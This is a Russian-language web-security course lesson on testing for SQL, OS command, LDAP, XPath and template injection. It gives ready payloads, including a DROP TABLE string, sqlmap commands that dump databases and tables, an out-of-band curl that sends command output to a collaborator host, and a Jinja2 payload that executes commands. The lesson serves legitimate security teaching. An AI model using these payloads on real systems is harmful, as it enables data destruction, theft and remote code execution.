Тестирование уязвимостей внедрения
Используйте SQLMap, ручные полезные нагрузки и Burp для проверки внедрения SQL-команд, команд ОС и LDAP.
«Тестирование уязвимостей внедрения» — бесплатный урок Cyber Security Academy на CoddyKit. Это урок 2 из 4. Ты можешь прочитать весь урок бесплатно ниже — а потом практиковать его прямо в браузере с встроенным редактором кода и ИИ-репетитором 24/7. Это часть пути обучения Cyber Security Academy, и твой прогресс синхронизируется между веб-версией и приложением CoddyKit. Курс Cyber Security Academy содержит 4 уроков всего.
Классы уязвимостей, связанных с инъекциями
Инъекция возникает, когда недоверенные данные передаются интерпретатору как часть команды или запроса. Интерпретатор не может отличить данные от команд и выполняет логику, контролируемую атакующим. Инъекции SQL, команд, LDAP, XPath и шаблонов относятся к этому классу.
SQL-инъекция: ручное тестирование
Начните с простых полезных нагрузок, чтобы проверить наличие SQL-инъекции. Одинарная кавычка вызывает синтаксическую ошибку SQL в уязвимых приложениях. Проверяйте сообщения об ошибках, различия в длине ответов и время ответа.
# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator
# In URL:
https://target.com/item?id=1'SQLMap для автоматизированной SQL-инъекции
SQLMap автоматизирует обнаружение и эксплуатацию SQL-инъекций: обнаруживает точки инъекций, определяет DBMS, а также может выгружать базы данных, читать файлы и обеспечивать выполнение кода на уровне OS в уязвимых системах.
# Basic scan
sqlmap -u 'http://target.com/item?id=1'
# With Burp request file
sqlmap -r request.txt
# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs
# Dump a table
sqlmap -u '...' -D mydb -T users --dumpТестирование инъекций команд
Инъекция команд возникает, когда пользовательские входные данные передаются функциям оболочки OS. Проверяйте их с помощью метасимволов оболочки: точек с запятой, конвейеров, обратных кавычек и подстановки команд $().
# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id
# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1
# Or out-of-band:
; curl http://collaborator.example.com/$(id)Инъекция LDAP
Инъекция LDAP изменяет запросы LDAP, используемые для аутентификации и поиска в каталогах. Проверьте поля аутентификации с помощью *)(uid=*))(|(uid=*, чтобы обойти фильтры.
Инъекция XPath
Инъекция XPath направлена на системы аутентификации на основе XML. Она похожа на SQL-инъекцию: полезные нагрузки изменяют запросы XPath, например ' or '1'='1, чтобы обойти аутентификацию.
Инъекция шаблонов (SSTI)
Инъекция шаблонов на стороне сервера возникает, когда пользовательские входные данные обрабатываются движком шаблонов (Jinja2, Twig, Freemarker). Для обнаружения внедрите {{7*7}}: если в ответе отображается 49, существует SSTI.
# Detection payloads:
{{7*7}} # Jinja2, Twig
${7*7} # Freemarker, EL
<%= 7*7 %> # ERB (Ruby)
# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}Использование Burp для тестирования инъекций
Отправляйте запросы в повторитель и вручную внедряйте полезные нагрузки в каждый параметр. Используйте интрудер для автоматизации фаззинга со словарями инъекций (в SecLists есть отличные полезные нагрузки для инъекций).
# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*Обнаружение инъекций вслепую
Если видимый вывод отсутствует, используйте задержки по времени для подтверждения выполнения, внеполосные DNS-вызовы (Burp Collaborator или interactsh) и ответы на основе логических условий (изменения длины содержимого).
Чтение сообщений об ошибках приложения
Подробные ошибки раскрывают тип базы данных, структуру запроса и пути к файлам — это бесценно для создания точных полезных нагрузок. Всегда проверяйте отладочные входные данные и данные, раскрывающие ошибки, наряду с обычными полезными нагрузками.
Справочник по предотвращению
Инъекции предотвращаются с помощью параметризованных запросов (SQL-инъекции), проверки входных данных и экранирования команд оболочки (инъекции команд), а также отказа от обработки пользовательских входных данных в шаблонах (SSTI). Разработчики должны понимать эти методы, чтобы писать безопасный код.
Быстрая проверка
Что подтверждает полезная нагрузка для обнаружения SSTI {{7*7}}, если в ответе отображается 49?
Итоги: тестирование инъекций
Уязвимости, связанные с инъекциями, возникают из-за смешивания данных и команд. Проверяйте все входные данные, контролируемые пользователем, с помощью полезных нагрузок для инъекций SQL, команд, шаблонов и LDAP. Используйте SQLMap для автоматизированной SQL-инъекции, повторитель Burp для ручного тестирования и методы задержки по времени/OOB для эксплуатации вслепую. Всегда документируйте полезные нагрузки и подтверждающие материалы для отчёта.
Часто задаваемые вопросы
Урок «Тестирование уязвимостей внедрения» бесплатный?
Да — полный текст урока «Тестирование уязвимостей внедрения» бесплатно доступен здесь в веб-версии. Чтобы практиковать его интерактивно (встроенный редактор кода и ИИ-репетитор 24/7) и разблокировать остальной курс Cyber Security Academy, подпишись на CoddyKit PRO. Курс Cyber Security Academy содержит 4 уроков всего.
Чему я научусь в уроке «Тестирование уязвимостей внедрения»?
Используйте SQLMap, ручные полезные нагрузки и Burp для проверки внедрения SQL-команд, команд ОС и LDAP. Ты практикуешь Cyber Security Academy с помощью реального кода, который запускаешь прямо в браузере, и ИИ-репетитор 24/7 отвечает на твои вопросы во время урока.
Нужен ли мне опыт, чтобы начать Cyber Security Academy?
Предыдущий опыт не требуется. Cyber Security Academy на CoddyKit структурирован для всех уровней — от новичков до продвинутых, поэтому ты можешь начать отсюда или с самого начала и учиться в своем темпе. Это урок 2 из 4.
Сколько времени занимает урок «Тестирование уязвимостей внедрения»?
Большинство уроков CoddyKit занимают около 5–10 минут. Каждый из них компактный и интерактивный, поэтому ты постоянно делаешь прогресс и продолжаешь с того же места в веб-версии и приложении.
Можно ли писать и запускать код в этом уроке Cyber Security Academy?
Да. Каждый урок Cyber Security Academy включает встроенный редактор кода, поэтому ты пишешь и запускаешь реальный код прямо в браузере и получаешь моментальную обратную связь от AI — локальная установка не требуется.
Все уроки этого курса
- Прокси Burp Suite и перехват запросов
- Тестирование уязвимостей внедрения
- Тестирование аутентификации и сеансов
- Уязвимости загрузки файлов и SSRF